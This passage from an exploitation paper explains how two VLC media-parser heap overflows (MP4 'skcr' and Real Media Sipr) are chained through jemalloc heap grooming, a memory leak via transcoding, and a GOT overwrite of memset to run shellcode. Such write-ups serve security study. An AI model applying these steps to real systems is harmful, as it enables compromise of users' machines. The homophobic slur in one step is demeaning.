|
||
|
question of how we can control 'p_root' still remains unanswered.
|
||
|
|
||
|
|
||
|
----[ 3.4 - Controlling 'p_root' data
|
||
|
|
||
|
Long nights of auditing VLC revealed that there's no easy way for us to
|
||
|
control the memory contents pointed by 'p_root'. Although we had began
|
||
|
feeling lost, we came up with a very daring idea that, although dangerous
|
||
|
at first hearing, we were quite confident that would eventually work
|
||
|
fine: Why not somehow 'free()' the 'p_root' region? Releasing 'p_root'
|
||
|
memory and performing several 64-byte (= sizeof(MP4_Box_t)) allocations
|
||
|
will force jemalloc give 'p_root' back to us. '0xa9xxx' boxes can be
|
||
|
used to perform user controlled allocations, so, theoretically are ideal
|
||
|
for what we need. Suppose 'p_root' is freed, then a series of 'a9xxx'
|
||
|
boxes that contain 64-byte opcodes will result in 'p_root' eventually
|
||
|
holding our shellcode payload... Right?
|
||
|
|
||
|
Two questions now arise. First, how can one know the address of 'p_root'
|
||
|
in order to free it? This is a good question, but it's something we will
|
||
|
be dealing with later. Second, each '0xa9xxx' box results in two 64-byte
|
||
|
allocations; one for the 'MP4_Box_t' structure to hold the box itself and
|
||
|
one for the string that will contain our shellcode. How can we guarantee
|
||
|
that 'p_root' will be given back by jemalloc for the string allocation and
|
||
|
thus not for the 'MP4_Box_t'? This is where 'chpl' boxes come in handy:
|
||
|
|
||
|
|
||
|
/* modules/demux/mp4/libmp4.c:2413 */
|
||
|
static int MP4_ReadBox_chpl(..., MP4_Box_t *p_box) {
|
||
|
MP4_READBOX_ENTER(MP4_Box_data_chpl_t);
|
||
|
|
||
|
MP4_GET1BYTE( p_chpl->i_chapter ); /* Chapter count; user controlled */
|
||
|
|
||
|
for(i = 0; i < p_chpl->i_chapter; i++) {
|
||
|
...
|
||
|
MP4_GET1BYTE( i_len ); /* Name length; user controlled */
|
||
|
|
||
|
p_chpl->chapter[i].psz_name = malloc(i_len + 1);
|
||
|
...
|
||
|
|
||
|
/* 'psz_name' contents; user controlled */
|
||
|
memcpy( p_chpl->chapter[i].psz_name, p_peek, i_copy );
|
||
|
...
|
||
|
}
|
||
|
...
|
||
|
}
|
||
|
|
||
|
|
||
|
Each 'chpl' box can be used to perform a series of 254 allocations of 64
|
||
|
bytes thus increasing the possibility that 'p_root' will be returned for
|
||
|
our data, not for the 'MP4_Box_t' that describes the 'chpl' node (254/255
|
||
|
versus 1/255; without even taking into account the determinism of heap
|
||
|
internals).
|
||
|
|
||
|
We have successfully located a gadget that will allow us to control
|
||
|
'p_root' data but only once the latter has been freed. Now recall that
|
||
|
'a9xxx' boxes are 4 bytes long and can thus be placed right next to the
|
||
|
victim 'frma' structure. Don't forget that at this specific time frame
|
||
|
of the execution, bin sized allocations are always serviced by magazine
|
||
|
racks and thus decreasing addresses are eventually returned to the user.
|
||
|
|
||
|
|
||
|
...[SKCR][A9XXX][A9XXX]...
|
||
|
- +
|
||
|
|
||
|
|
||
|
Each call to 'MP4_ReadBox_skcr()' will write 8 bytes off the 'skcr'
|
||
|
boundaries, so, both of the following 'a9xxx' regions will be overflown
|
||
|
resulting in their 'psz_text' pointer being overwritten with user
|
||
|
controlled values. If we could somehow force the 'a9xxx' nodes to be
|
||
|
freed, their 'psz_text' would be passed to 'free()' as well, resulting
|
||
|
in the release of two heap regions chosen by the attacker. It turns out
|
||
|
that doing so is not that hard. All we have to do is place those 'skcr'
|
||
|
and 'a9xxx' boxes within a common container, which will cause a parsing
|
||
|
error right after the 'skcr' box is parsed. To do that, we abuse a new
|
||
|
type of MP4 box called 'stts':
|
||
|
|
||
|
|
||
|
/* modules/demux/mp4/libmp4.c:788 */
|
||
|
static int MP4_ReadBox_stts(..., MP4_Box_t *p_box) {
|
||
|
|
||
|
MP4_READBOX_ENTER(MP4_Box_data_stts_t);
|
||
|
...
|
||
|
MP4_GET4BYTES(p_box->data.p_stts->i_entry_count);
|
||
|
|
||
|
p_box->data.p_stts->i_sample_count =
|
||
|
calloc(p_box->data.p_stts->i_entry_count, sizeof(uint32_t)); /* (1) */
|
||
|
...
|
||
|
|
||
|
if(p_box->data.p_stts->i_sample_count == NULL ...) {
|
||
|
MP4_READBOX_EXIT(0);
|
||
|
}
|
||
|
...
|
||
|
}
|
||
|
|
||
|
|
||
|
At (1), 'i_entry_count' is, obviously, user controlled. Forcing it to
|
||
|
hold a very high value will result in 'calloc()' returning NULL and thus
|
||
|
'MP4_ReadBox_stts()' returning 0; the value that indicates a parsing
|
||
|
failure. Adding the corrupted '0xa9xxx' boxes and the 'skcr' victim in
|
||
|
the same container with an invalid 'stts' box, will result in the first
|
||
|
being freed when the parsing error is detected and thus the attacker
|
||
|
chosen heap regions to be freed*. VLC will continue reading the rest of
|
||
|
the MP4 data as if nothing wrong has happened.
|
||
|
|
||
|
Note: It's crucial to understand that we shouldn't trigger a fatal
|
||
|
parsing error at this point since the unlink-like code will never be
|
||
|
reached. In fact, the process of doing that is slightly more complicated
|
||
|
than described in the previous paragraph; it's a minor detail that should
|
||
|
not be taken into account right now.
|
||
|
|
||
|
|
||
|
----[ 3.5 MP4 exploitation sum up
|
||
|
|
||
|
To sum up, for this first part of the exploitation process the attacker
|
||
|
must perform the following steps:
|
||
|
|
||
|
|
||
|
1 - Overwrite 'p_moov'
|
||
|
|
||
|
1a - Allocate several 'a9xxx' boxes that will stabilize the heap
|
||
|
|
||
|
1b - Allocate a 'cmov' box
|
||
|
|
||
|
1c - Allocate and fill an 'skcr' box. The 'skcr' handling code will
|
||
|
allocate an 'frma' structure (4 bytes) and write 12 bytes in its region
|
||
|
thus eventually overwriting 'cmov->p_moov'
|
||
|
|
||
|
2 - Free and control 'p_root' contents
|
||
|
|
||
|
2a - Create a 'cmov' container
|
||
|
|
||
|
2b - Fill it with 2 '0xa9xxx' boxes
|
||
|
|
||
|
2c - Add an 'skcr' that will overwrite the adjacent '0xa9xxx' boxes. The
|
||
|
overwritten values should be the address of 'p_root' and a random 64
|
||
|
byte allocation in this specific order.
|
||
|
|
||
|
2d - Add an invalid 'stts' box that will force the parsing process
|
||
|
to fail, the 'cmov' and its children (two '0xa9xxx' and one 'skcr')
|
||
|
to be freed, the 'psz_text' members of 'MP4_Box_data_0xa9xxx_t' to be
|
||
|
passed to 'free()' and consequently, 'p_root' to be released.
|
||
|
|
||
|
2e - Add several 'chpl' boxes. Each one will result in 254 64byte
|
||
|
allocations with user controlled contents. Pray that jemalloc will give
|
||
|
'p_root' back to you (most likely).
|
||
|
|
||
|
3 - Repeat step 2 as many times as you please to free as many pointers
|
||
|
as you like (more on this later)
|
||
|
|
||
|
4 - Properly pack everything together so that the 'unlink()' code
|
||
|
is reached.
|
||
|
|
||
|
|
||
|
One problem still remains; How can one know the address of 'p_root' in
|
||
|
order to pass it to 'free()'? This is were an information leak would
|
||
|
be useful. We need to find a bug that when properly exploited will
|
||
|
reveal data of selected memory regions. Additionally, we need to seek
|
||
|
the mechanisms by which this data will be returned to the attacker. The
|
||
|
next section of this phile focuses on these two problems and the voodoo
|
||
|
required to solve them.
|
||
|
|
||
|
|
||
|
--[ 4 - Real Media 'DemuxAudioSipr()' heap overflow vulnerability
|
||
|
|
||
|
----[ 4.1 - VLC as a transcoder
|
||
|
|
||
|
Apart from a full blown media player, VLC can also work as a
|
||
|
transcoder. Transcoding is the process of receiving numerous inputs,
|
||
|
applying certain transformations on the input data and then sending the
|
||
|
result to a set of outputs. This is, for example, what happens when you
|
||
|
rip a DVD and convert it to an .avi stored on your hard disk. In its most
|
||
|
simple use, transcoding may be used to duplicate an input stream to both
|
||
|
your soundcard as well as an alternate output, for example, an RTP/HTTP
|
||
|
network stream, so that other users can listen to the music you're
|
||
|
currently listening; a mechanism invaluable for your favorite pr0n. For
|
||
|
more information and some neat examples of using VLC in more advanced
|
||
|
scenarios, you can have a look at the VideoLan wiki and especially at [5].
|
||
|
|
||
|
Trying to find a way to leak memory from VLC, we carefully studied several
|
||
|
examples from the wiki page at [5] and then started feeding VLC with a
|
||
|
bunch of mysterious options; we even discovered a FreeBSD kernel 0day while
|
||
|
doing so. After messing with the command line arguments for a couple of
|
||
|
minutes we settled down to the following:
|
||
|
|
||
|
|
||
|
vlc ass_traffic.mp4 :sout='#std{access=file,mux=raw,dst=dup.mp4}'
|
||
|
|
||
|
|
||
|
This command, which is just a primitive usage of VLC's transcoding
|
||
|
features, will just copy 'ass_traffic.mp4' to 'dup.mp4' thus duplicating
|
||
|
the input stream to a standard file. Furthermore, if VLC is running in
|
||
|
daemon mode, it is possible for the user to specify a different output
|
||
|
MRL (Media Resource Location) per media file. For example, assume that
|
||
|
VLC was started using the command line 'VLC --rc-host 127.0.0.1:8080';
|
||
|
connecting to port 8080 using netcat and issuing the command...
|
||
|
|
||
|
|
||
|
add /tmp/ass_traffic.mp4 :sout=#std{access=file,mux=raw,dst=/tmp/dup.mp4}
|
||
|
|
||
|
|
||
|
...will, obviously, do the exact same thing. If we could discover an
|
||
|
information leak, transcoding would be the perfect way of actually having
|
||
|
VLC return leaked data back to us. For example, what if we could force VLC
|
||
|
treat arbitrary memory addresses as simple sound information? If we manage
|
||
|
to do that, then with the help of the transcoding features we could ask
|
||
|
VLC to dump the memory range in question in a standard file in /tmp :)
|
||
|
|
||
|
Note: The truth is that we first focused on exploiting a vulnerability
|
||
|
that we could turn into a memory disclosure and then explored the
|
||
|
transcoding stuff. We decided to talk about transcoding first so that
|
||
|
the reader can keep it in mind while studying the RMF vulnerability
|
||
|
in the sections that follow.
|
||
|
|
||
|
In the days that followed we thoroughly analyzed several public
|
||
|
vulnerabilities. A specific commit diff in VLC's git caught our attention.
|
||
|
It was a vulnerability regarding the Real Media format parser discovered by
|
||
|
Hossein Lotfi [6]. Before actually touching the Real Media demuxer, a quick
|
||
|
look in the media format itself is essential.
|
||
|
|
||
|
|
||
|
----[ 4.2 - RMF? What's that?
|
||
|
|
||
|
Source code for the real media demuxer can be found in
|
||
|
modules/demux/real.c; the code itself is not very complex and can be easily
|
||
|
analyzed in couple of hours. From what we've understood by studying the
|
||
|
source, there are two kinds of Real Media files; the Real Audio (.ra)
|
||
|
files, as well as the Real Media Format (.rmf) files. In fact, the two
|
||
|
formats are quite similar with the one being a newer version of the other.
|
||
|
Audio information is split in tracks, usually interleaved, so that a file
|
||
|
may have several tracks each one encoded using a different audio codec.
|
||
|
|
||
|
The vulnerability we will be analyzing can be triggered with a specially
|
||
|
crafted RMF file that utilizes the Sipr audio codec (see [7] and [8]).
|
||
|
|
||
|
The meta-information present in RMF files is split in various chunks;
|
||
|
simple headers followed by their data. A special chunk, called MDPR
|
||
|
(MeDia PRoperties) is used to encode information regarding a track in
|
||
|
the RMF file (each track has its own associated MDPR header); its name,
|
||
|
its duration, its title as well as the track identifier, a simple 32-bit
|
||
|
integer.
|
||
|
|
||
|
The sound information, the one you hear when playing a file, is split in
|
||
|
packets, each one carrying the track ID for the track whose data it
|
||
|
contains (as we have already mentioned, track data may be interleaved, so
|
||
|
the file parser has to know what packet belongs to what track). The sipr
|
||
|
codec goes further by allowing a packet to contain subpackets. When a
|
||
|
packet with multiple subpackets is encountered, its contents are buffered
|
||
|
until all subpackets have been processed. It's only then when the data
|
||
|
in sent to your audio card or to any pending output streams ;)
|
||
|
|
||
|
Sipr subpacket handling is where the mess begins...
|
||
|
|
||
|
|
||
|
----[ 4.3 - Vulnerability details
|
||
|
|
||
|
Every time a new packet is encountered in the input stream, VLC will check
|
||
|
the track it belongs and figure out the audio codec for the track in
|
||
|
question. Depending on this information, the appropriate audio demuxer is
|
||
|
called. For sipr packets, 'DemuxAudioSipr()' is the function responsible
|
||
|
for this task.
|
||
|
|
||
|
|
||
|
/* modules/demux/real.c:788 */
|
||
|
static void DemuxAudioSipr(..., real_track_t *tk, ...) {
|
||
|
...
|
||
|
|
||
|
block_t *p_block = tk->p_sipr_packet;
|
||
|
...
|
||
|
|
||
|
/* First occurance of a subpacket for this packet? Create a new block
|
||
|
* to buffer all the subpackets.
|
||
|
*
|
||
|
* Subpackets have a size equal to 'i_frame_size' and 'i_subpacket_h' is
|
||
|
* their number.
|
||
|
*/
|
||
|
if(!p_block) {
|
||
|
/* (1) */
|
||
|
p_block = block_New(..., tk->i_frame_size * tk->i_subpacket_h);
|
||
|
...
|
||
|
|
||
|
tk->p_sipr_packet = p_block;
|
||
|
}
|
||
|
|
||
|
/* (2) */
|
||
|
memcpy(p_block->p_buffer + tk->i_sipr_subpacket_count * tk->i_frame_size,
|
||
|
p_sys->buffer, tk->i_frame_size);
|
||
|
...
|
||
|
|
||
|
/* Checks that all subpackets for this packet have been processed, if not
|
||
|
* returns to the demuxer.
|
||
|
*/
|
||
|
if(++tk->i_sipr_subpacket_count < tk->i_subpacket_h)
|
||
|
return;
|
||
|
...
|
||
|
|
||
|
/* All subpackets arrived; send data to all consumers. */
|
||
|
es_out_Send(p_demux->out, tk->p_es, p_block);
|
||
|
}
|
||
|
|
||
|
|
||
|
For now assume that 'block_New()', called at (1), is a simple call to
|
||
|
'malloc()'. Obviously, setting 'i_subpacket_h' to 0 will result in a call
|
||
|
very similar to 'malloc(0)'. As we have mentioned in our main jemalloc
|
||
|
paper, a call to 'malloc(0)' returns a region of the smallest size class.
|
||
|
If 'i_frame_size' is bigger than the minimal space reserved by 'malloc(0)',
|
||
|
then the call to 'memcpy()' at (2) will result in neighboring heap
|
||
|
allocations being corrupted (that simple ;p).
|
||
|
|
||
|
|
||
|
----[ 4.4 - 'p_blocks' all over the place
|
||
|
|
||
|
Since we have successfully identified the vulnerability, it is time
|
||
|
to search for possible target structures. Before continuing, we must
|
||
|
have a look at that 'block_t' structure used to buffer the subpackets;
|
||
|
its definition can be found at include/vlc_block.h:101.
|
||
|
|
||
|
|
||
|
typedef void (*block_free_t) (block_t *);
|
||
|
|
||
|
struct block_t {
|
||
|
block_t *p_next;
|
||
|
uint32_t i_flags;
|
||
|
mtime_t i_pts;
|
||
|
mtime_t i_dts;
|
||
|
mtime_t i_length;
|
||
|
unsigned i_nb_samples;
|
||
|
int i_rate;
|
||
|
size_t i_buffer;
|
||
|
uint8_t *p_buffer;
|
||
|
block_free_t pf_release;
|
||
|
};
|
||
|
|
||
|
|
||
|
I know what you're probably thinking; stop staring at that function
|
||
|
pointer ;) Yes we can very easily overflow it and consequently gain direct
|
||
|
code execution. Nevertheless, we decided not to take the easy road;
|
||
|
after all, we are only interested in forcing VLC leak memory contents
|
||
|
back to us. Assume function pointers have not been discovered yet ;p
|
||
|
The structure still looks quite promising; notice how 'i_buffer', the
|
||
|
size of the audio data pointed by the 'p_buffer' pointer, lies before
|
||
|
'p_buffer' itself... But what exactly is that 'p_buffer' anyway? When
|
||
|
and how is it allocated?
|
||
|
|
||
|
Here's another interesting story regarding audio blocks. Having a look
|
||
|
at src/misc/block.c, line 99, in function 'block_Alloc()' reveals that
|
||
|
block headers always lie before the data pointed by 'p_buffer'. When,
|
||
|
for example, the user requests a block of 16 bytes, 'block_Alloc()' will
|
||
|
add 16 to the metadata overhead, say N bytes, thus eventually allocating
|
||
|
16 + N bytes. The 'p_data' pointer will then set to point to the start
|
||
|
of the actual buffer, right after the 'block_t' header as depicted below.
|
||
|
|
||
|
|
||
|
p_buffer
|
||
|
.-----.
|
||
|
| |
|
||
|
| v
|
||
|
.---------.----------------------.
|
||
|
| block_t | ... audio data ... |
|
||
|
'---------'----------------------'
|
||
|
|
||
|
|
||
|
The relevant code is shown below:
|
||
|
|
||
|
|
||
|
struct block_sys_t {
|
||
|
block_t self;
|
||
|
size_t i_allocated_buffer;
|
||
|
uint8_t p_allocated_buffer[];
|
||
|
};
|
||
|
...
|
||
|
|
||
|
#define BLOCK_ALIGN 16
|
||
|
...
|
||
|
|
||
|
#define BLOCK_PADDING 32
|
||
|
...
|
||
|
|
||
|
block_t *block_Alloc(size_t i_size) {
|
||
|
...
|
||
|
block_sys_t *p_sys;
|
||
|
uint8_t *buf;
|
||
|
|
||
|
#define ALIGN(x) (((x) + BLOCK_ALIGN - 1) & ~(BLOCK_ALIGN - 1))
|
||
|
|
||
|
/* (1) */
|
||
|
const size_t i_alloc = sizeof(*p_sys) + BLOCK_ALIGN +
|
||
|
(2 * BLOCK_PADDING) + ALIGN(i_size);
|
||
|
|
||
|
p_sys = malloc(i_alloc);
|
||
|
...
|
||
|
|
||
|
/* 'buf' is assigned to 'block_t->p_buffer' by 'block_Init()' */
|
||
|
buf = (void *)ALIGN((uintptr_t)p_sys->p_allocated_buffer);
|
||
|
buf += BLOCK_PADDING;
|
||
|
block_Init(&p_sys->self, buf, i_size);
|
||
|
...
|
||
|
|
||
|
return &p_sys->self;
|
||
|
}
|
||
|
|
||
|
|
||
|
Taking a look back at 'DemuxAudioSipr()', we can see that if
|
||
|
'i_subpacket_h' is set to 0, then 'block_New()', a macro that is
|
||
|
substituted with 'block_Alloc()', results in the latter receiving a
|
||
|
value for 'i_size' equal to 0. Setting 'i_size' to 0 at (1), results in
|
||
|
'i_alloc' being assigned the value 136. Now do the math; 136 is slightly
|
||
|
larger than 128 so, it will be serviced by jemalloc's bin for 192-byte
|
||
|
regions. 192 - 136 = 56; 56 is the size margin for the parameter passed
|
||
|
to 'block_Alloc()'; for the blocks to be placed one next to the other,
|
||
|
they must reside in the same size class, so, we must make sure the total
|
||
|
length of the subpackets does not exceed 56. For a packet containing
|
||
|
two subpackets, a wise choice is to set 'i_frame_size' to 20, so that 2 *
|
||
|
20 (< 56) plus the overhead is also serviced by bin-192. Unfortunately,
|
||
|
'i_frame_size' cannot take arbitrary values; it can only get a set of
|
||
|
predefined ones with 20 being the smallest.
|
||
|
|
||
|
Beautiful! Since 'block_t' allocations are always accompanied by their
|
||
|
buffer, it means that the 'memcpy()' call at (2) in 'DemuxAudioSipr()',
|
||
|
when writing past the boundaries of the victim buffer, may actually
|
||
|
overwrite the header of an adjacent audio block; its 'p_buffer', its
|
||
|
'i_buffer' and even its function pointer (but let's ignore this fact for
|
||
|
now; abusing the function pointer is trivial and we decided not to deal
|
||
|
with it).
|
||
|
|
||
|
Now, a few more things to note:
|
||
|
|
||
|
1 - We know that if one packet has two, for example, subpackets, then
|
||
|
its 'p_block' will be alive until all subpackets have been processed;
|
||
|
when they are no longer needed, they will be freed resulting in a small
|
||
|
hole in the heap. Obviously, the lifetime of a 'p_block' is directly
|
||
|
related to the number of its subpackets.
|
||
|
|
||
|
2 - Checking at how 'DemuxAudioSipr()' works, reveals that a packet
|
||
|
with 0 subpackets is treated as if it had 1 subpacket. The 'memcpy()'
|
||
|
call at (2) will overflow the adjacent heap regions and then, when its
|
||
|
processing has finished, the packet will be freed by 'es_out_Send()'.
|
||
|
|
||
|
By combining the facts above, turns out we can:
|
||
|
|
||
|
1 - Use the RMF metadata (MDPR chunks) to define two tracks. Both
|
||
|
tracks must use the sipr audio codec. Each packet of the first must
|
||
|
have 2 subpackets and each packet of the second 0 subpackets for the
|
||
|
vulnerability to be triggered.
|
||
|
|
||
|
2 - Force VLC play the first subpacket of a packet of the first track. A
|
||
|
new 'block_t' will be allocated. In the diagram below, 't1s1' stands for
|
||
|
'track 1 subpacket 1'.
|
||
|
|
||
|
|
||
|
.---------.-------.
|
||
|
| block_t | t1s1 |
|
||
|
'---------'-------'
|
||
|
|
||
|
|
||
|
3 - Force VLC to play the packet of the second track; the one that has
|
||
|
0 subpackets. A new 'block_t' will eventually be allocated. We have
|
||
|
to specially prepare the heap so that the new block is placed directly
|
||
|
behind the one initialized at step 2.
|
||
|
|
||
|
|
||
|
.---------.------..---------.------.
|
||
|
| block_t | t2s0 || block_t | t1s1 |
|
||
|
'---------'------''---------'------'
|
||
|
|
||
|
|
||
|
An overflow will take place thus overwriting the block header of the
|
||
|
block allocated in the previous step. We are interested in overwriting
|
||
|
the 'p_buffer' to make it point to a memory region of our choice and
|
||
|
'i_buffer' to the number of bytes we want to be leaked.
|
||
|
|
||
|
4 - Feed VLC with the second subpacket for the first track. Since the
|
||
|
first subpacket was processed at step 2, the old 'block_t' will be
|
||
|
used. If everything goes fine, its 'p_buffer' will point where we set
|
||
|
it to and 'i_buffer' will contain a size of our choice. The 'memcpy()'
|
||
|
call at (2) in 'DemuxAudioSipr()' will write 'i_frame_size' bytes at our
|
||
|
chosen address thus trashing the memory a bit, but when 'es_out_Send()'
|
||
|
is called, 'i_buffer' bytes starting at the address 'p_buffer' points to
|
||
|
will be sent to the soundcard or any output stream requested by the user!
|
||
|
|
||
|
Note: Well yeah it wasn't that simple... 'es_out_Send()' calls a hell of
|
||
|
other functions to process the audio blocks, break them down in smaller
|
||
|
blocks, forward them to the output streams and so on. Debugging this
|
||
|
process was a very tiresome task; it became apparent that the target,
|
||
|
the overflown 'block_t' header had to obey to certain rules so that
|
||
|
it wasn't discarded. For example, all packets carry a timestamp;
|
||
|
the timestamp of the overflown block must be within a range of valid
|
||
|
timestamps, otherwise it's considered stale and dropped!
|
||
|
|
||
|
The following logs correspond to one of our early tests; we used a
|
||
|
specially crafted .rmf file to leak 65k of data starting at the binary's
|
||
|
.data section.
|
||
|
|
||
|
[hk@lsd ~/src/vlc_exp/leak]$ cat youporn.sh
|
||
|
vlc leak.rmf :sout='#std{access=file,mux=raw,dst=leaked_data.rmf}' \
|
||
|
vlc://quit
|
||
|
|
||
|
[hk@lsd ~/src/vlc_exp/leak]$ source youporn.sh
|
||
|
VLC media player 1.1.8 The Luggage (revision exported)
|
||
|
...
|
||
|
[hk@lsd ~/src/vlc_exp/leak]$ ls -lah leaked_data.rmf
|
||
|
-rwxr-xr-x 1 hk hk 128K Mar 31 22:27 leaked_data.rmf
|
||
|
|
||
|
We got back 128k which is about twice as much as we requested. In fact,
|
||
|
the useful data is 65k; it just happens that it's written in the output
|
||
|
file twice (minor detail related to block buffering).
|
||
|
|
||
|
Careful readers would have probably noticed that we took for granted that
|
||
|
the victim block will be allocated right before the target. Such a result
|
||
|
can easily be achieved. The technique we use in our exploit is very
|
||
|
similar to one of the techniques used in browser exploitation. Briefly,
|
||
|
we create several tracks (more than 2000) holding packets of 2 subpackets
|
||
|
of 20 bytes each so that all packets end up being allocated in bin-192. We
|
||
|
then force the release of two consecutive allocations thus creating two
|
||
|
adjacent holes in the heap. Then, by following what was said so far,
|
||
|
we can achieve a reliable information disclosure. Our tests show that
|
||
|
we can repeat this process around 40 times before VLC crashes (yet this
|
||
|
is only statistics, beautiful Greek statistics ;p).
|
||
|
|
||
|
|
||
|
----[ 4.5 - RMF summary
|
||
|
|
||
|
It's now time to sum up the information leak process. For a successful
|
||
|
information disclosure, the attacker must perform the following steps:
|
||
|
|
||
|
1 - Create 2000 + 1 + 1 tracks. 2000 will be used for heap spraying,
|
||
|
1 will act as the target and 1 as the victim. The lots of allocations
|
||
|
will probably result in a new magazine being populated thus guaranteeing
|
||
|
that new allocations will be returned in the reverse memory order.
|
||
|
|
||
|
2 - Force the deallocation of two packets belonging to two consecutive
|
||
|
tracks. Two adjacent holes will be created. The packet lower in memory
|
||
|
must be freed first.
|
||
|
|
||
|
3 - Play the first subpacket of the target track. The hole in the higher
|
||
|
address will be assigned to the new block.
|
||
|
|
||
|
4 - Play the packet of the victim track. The new block will be given the
|
||
|
lower heap hole and the overflow will reach the block allocated at step 3.
|
||
|
|
||
|
5 - Play the second subpacket of the target track. The memory we want
|
||
|
to read will be trashed by 20 bytes (= frame size) and then returned in
|
||
|
the output stream.
|
||
|
|
||
|
6 - Watch the epic faggotry evolving in front of your eyes ;)
|
||
|
|
||
|
|
||
|
--[ 5 - Building a reliable exploit
|
||
|
|
||
|
----[ 5.1 - Overall process
|
||
|
|
||
|
Building a reliable local exploit involves combining all the facts
|
||
|
and finding a way to locate, within the target process, all pieces of
|
||
|
information required to achieve code execution. Remember that we don't
|
||
|
want the user having to manually find any return addresses, return
|
||
|
locations and so on. The exploit must be autonomous and self contained;
|
||
|
all required information must be automatically detected.
|
||
|
|
||
|
When it comes to the MP4 vulnerability, things are pretty straightforward;
|
||
|
we just need to figure out where 'p_root' is and then free it.
|
||
|
Additionally, we need to figure out what value 'p_moov' must be overwritten
|
||
|
with (i.e. the address of an appropriate .got entry). MP4 exploitation is
|
||
|
100% reliable; once we have found the values of those two parameters, code
|
||
|
execution is matter of feeding VLC with a specially crafted MP4 file. For
|
||
|
more information the reader can have a look at the attached source code and
|
||
|
more specifically at 'mp4.py'; a Python class used to create those special
|
||
|
MP4 files that can crash VLC as well as innocent ones that cause no
|
||
|
problems. The latter are used to force VLC load 'libmp4_plugin.so' during
|
||
|
the very first step of the exploitation process.
|
||
|
|
||
|
Briefly the exploit we developed performs the following steps:
|
||
|
|
||
|
1 - Forces VLC to play an innocent MP4 file so that the target plugin
|
||
|
is loaded.
|
||
|
|
||
|
2 - Parses the ELF headers of the VLC binary in order to locate the
|
||
|
absolute address of its .got section.
|
||
|
|
||
|
3 - Uses a specially crafted RMF file to leak 65k starting at the address
|
||
|
of the binary's .got.
|
||
|
|
||
|
4 - The second entry in the .got table points to the linkmap; a linked
|
||
|
list that keeps track of the loaded libraries populated by the loader
|
||
|
on each call to 'dlopen()'. Each entry holds the name of a library, the
|
||
|
address it's mapped at and so on. We proceed by leaking 1MB of data
|
||
|
starting from the address of the first linkmap entry.
|
||
|
|
||
|
5 - Step 4 is repeated until 'libmp4_plugin.so' is detected in the leaked
|
||
|
data. VLC loads more than 100 libraries; there's no need to locate them
|
||
|
all. Once we got the MP4 plugin entry, we can figure out where exactly
|
||
|
it has been loaded.
|
||
|
|
||
|
6 - By statically inspecting the MP4 plugin and by using the information
|
||
|
collected at step 5, we can find the absolute address of its .got. The MP4
|
||
|
vulnerability is triggered within this .so; consequently the overwrite
|
||
|
must take place within its local .got.
|
||
|
|
||
|
7 - The relocation entries, the string table and the symbol table
|
||
|
indicated by the .dynamic section of the MP4 plugin can be properly
|
||
|
combined to figure out what .got entry corresponds to what symbol name. We
|
||
|
choose to overwrite the .got entry for 'memset()' (more on this later).
|
||
|
The absolute address of the 'memset()' .got entry is then calculated
|
||
|
and used as the value that will be written in 'p_moov'.
|
||
|
|
||
|
8 - A set of possible addresses for 'p_root' is created by leaking and
|
||
|
analyzing specific heap regions. This step is further analyzed later.
|
||
|
|
||
|
9 - A final MP4 file is created. The MP4 file frees all 'p_root'
|
||
|
candidates, uses 'chpl' boxes containing the shellcode to force jemalloc
|
||
|
give the original 'p_root' region back and lands VLC on the 'unlink()'
|
||
|
style pointer exchange. The address of 'p_root', which now contains user
|
||
|
supplied data, is written in the .got entry of 'memset()'.
|
||
|
|
||
|
10 - Shellcode is executed, much rejoicing is had ;)
|
||
|
|
||
|
So why did we choose to hook 'memset()'? Turns out that once the MP4 file
|
||
|
parsing has finished and the 'unlink()' tyle code has been triggered,
|
||
|
VLC calls 'MP4_BoxDumpStructure()' to print the layout of the MP4 file
|
||
|
(this is always done by default; no verbose flags required). Since we
|
||
|
have corrupted the boxes, 'MP4_BoxDumpStructure()' may access invalid
|
||
|
memory and thus segfault. To avoid such a side effect, we have to hook
|
||
|
the first external function call. As shown below, this call corresponds to
|
||
|
'memset()' which suits us just fine ;)
|
||
|
|
||
|
|
||
|
static void __MP4_BoxDumpStructure(..., MP4_Box_t *p_box, ...)
|
||
|
{
|
||
|
MP4_Box_t *p_child;
|
||
|
|
||
|
if( !i_level )
|
||
|
{
|
||
|
...
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
...
|
||
|
memset(str, ' ', sizeof(str));
|
||
|
}
|
||
|
...
|
||
|
|
||
|
p_child = p_box->p_first;
|
||
|
while(p_child)
|
||
|
{
|
||
|
__MP4_BoxDumpStructure(..., p_child, ...);
|
||
|
p_child = p_child->p_next;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
----[ 5.2 - Detecting 'p_root' address candidates
|
||
|
|
||
|
At first we thought that this would be the easier part of the exploitation
|
||
|
process; it turned out that it was actually the most difficult. Our first
|
||
|
idea was to play an MP4 file several times and then leak memory in the
|
||
|
hope that certain 'MP4_Box_t' signatures may be present somewhere in the
|
||
|
heap. Unfortunately, the 64-byte allocations used by the MP4 plugin, are
|
||
|
later used by the RMF parser thus destroying any useful evidence. After
|
||
|
long nights and lots of tests, we came up with the following technique
|
||
|
which turned out to be successful:
|
||
|
|
||
|
Briefly, we do the following:
|
||
|
|
||
|
1 - We leak 65k of data by overwriting 'i_buffer' and leaving 'p_buffer'
|
||
|
at its present value. This way we read memory contents starting from
|
||
|
the address that the victim 'p_block' is located.
|
||
|
|
||
|
2 - As we have already discussed, the 'p_blocks' created by our RMF file
|
||
|
are 192 bytes long, so, they lie within runs serviced by bin-192. Leaking
|
||
|
data from where 'p_buffer' points, results in neighboring runs being
|
||
|
leaked as well.
|
||
|
|
||
|
3 - In our jemalloc article we mentioned that (a) runs are PAGE_SIZE
|
||
|
aligned and (b) run headers start with a pointer to the corresponding
|
||
|
bin. We analyze the leaked data and try to locate PAGE_SIZE aligned
|
||
|
addresses that start with something that looks like a bin pointer
|
||
|
(0x0804yyyy, some bytes after the main binary's .bss section).
|
||
|
|
||
|
4 - We leak 65k starting from the binary's .bss section. The bins array
|
||
|
of the main arena lies somewhere around. We analyze the data and locate
|
||
|
the address of bin-64.
|
||
|
|
||
|
5 - We leak about 7-8MB of commonly used heap regions. Since we now
|
||
|
know the address of bin-64, we try to locate all runs that start with
|
||
|
a pointer pointing at it, that is, runs that contain 64byte regions.
|
||
|
|
||
|
6 - All regions in these runs will be freed by our MP4 file; 'p_root'
|
||
|
is probably one of them.
|
||
|
|
||
|
|
||
|
--[ 6 - Demonstration
|
||
|
|
||
|
An art of exploitation paper serves nothing without the proper show off ;)
|
||
|
This section was specially prepared to be hard sex for your eyes. We were
|
||
|
very careful and, in fact, we spent many hours trying to figure out the
|
||
|
leetest shellcode to use, but we couldn't come up with something more
|
||
|
perfect than 'int3'.
|
||
|
